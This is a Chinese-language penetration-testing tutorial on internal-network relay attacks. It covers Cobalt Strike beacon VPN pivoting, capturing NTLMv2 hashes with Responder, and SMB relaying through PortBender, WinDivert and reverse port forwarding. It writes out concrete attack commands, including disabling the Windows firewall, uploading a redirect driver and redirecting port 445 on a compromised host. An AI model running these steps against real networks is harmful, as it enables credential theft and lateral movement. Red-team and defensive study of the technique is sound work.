实战下的内网中继攻击问题
字数 1201 2025-08-24 16:48:15
实战下的内网中继攻击技术详解
一、Cobalt Strike VPN功能在内网渗透中的应用
1. VPN功能概述
Cobalt Strike的beacon自带VPN功能,可以将攻击者的VPS网络环境置于目标内网中。其核心原理是通过虚拟网卡实现网络接口的虚拟化。
2. 技术原理
- 攻击者通过虚拟网卡访问目标网络
- 数据通过以太帧形式传输(基于二层网络工作原理)
- VPN服务器通过数据通道(TCP/UDP/HTTP等)传输到VPN客户端
- VPN客户端将流量转储到目标网络
3. 实际部署步骤
环境准备
- 需要具备高权限的beacon(建议system权限)
- 支持的操作系统:Windows Server(Windows 10可能不支持)
部署流程
- 在beacon的pivoting模块中选择"deploy VPN"
- 勾选"克隆MAC地址"选项
- 选择VPN协议(推荐顺序):
- UDP:最快最合适,开销最少
- ICMP/HTTP/TCP:用于穿透限制性防火墙
常见问题处理
- 网卡未启用问题:执行
ip link set phear0 up手动启动 - IP地址配置:
ifconfig phear0 192.168.31.11 netmask 255.255.255.0 up 或 ip addr add 192.168.31.11 dev phear0 - 遇到"SIOCSIFADDR: File exists"错误时,更换IP地址
4. 验证方法
- 使用ping测试内网连通性
- 通过内网机器扫描验证服务可达性
二、SMB中继攻击实现方案
1. 直接VPN方案
- 在VPN建立后启动Responder:
responder -I phear0 - 诱使目标访问攻击者服务(如3389)
- 捕获NTLMv2-SSP Hash
2. 反向端口转发+WinDivert方案
技术难点
- 直接转发445端口不可行,需要额外协议处理
- 需要驱动级流量重定向
所需工具
PortBender(需WinDivert64.sys驱动):
https://github.com/praetorian-inc/PortBender
实施步骤
- 上传驱动到指定目录:
cd C:\Windows\system32\drivers upload /root/下载/WinDivert64.sys - 关闭防火墙(或配置放行规则):
netsh advfirewall set allprofiles state off - 建立反向端口转发:
rportfwd 8000 127.0.0.1 445 - 使用PortBender重定向流量:
PortBender redirect 445 8000
注意事项
- 必须使用system权限的beacon
- 配置错误可能导致SMB服务崩溃(表现为445端口关闭)
- 445端口转发后不能中继到自己,必须中继到其他服务器
三、流量走向分析
- 目标机器访问445端口
- PortBender将流量重定向到8000端口
- 反向端口转发将8000端口流量转发到攻击者VPS的445端口
- 通过socks代理将流量返回
四、实战建议
- 优先使用Windows Server系统部署VPN
- 保持操作一次性成功,避免服务崩溃
- 注意关闭SMB签名(否则无法执行中间人攻击)
- 考虑在内网中部署多个中继点提高成功率
五、参考资料
Cobalt Strike官方文档:https://www.cobaltstrike.com/blog/how-vpn-pivoting-works-with-source-code/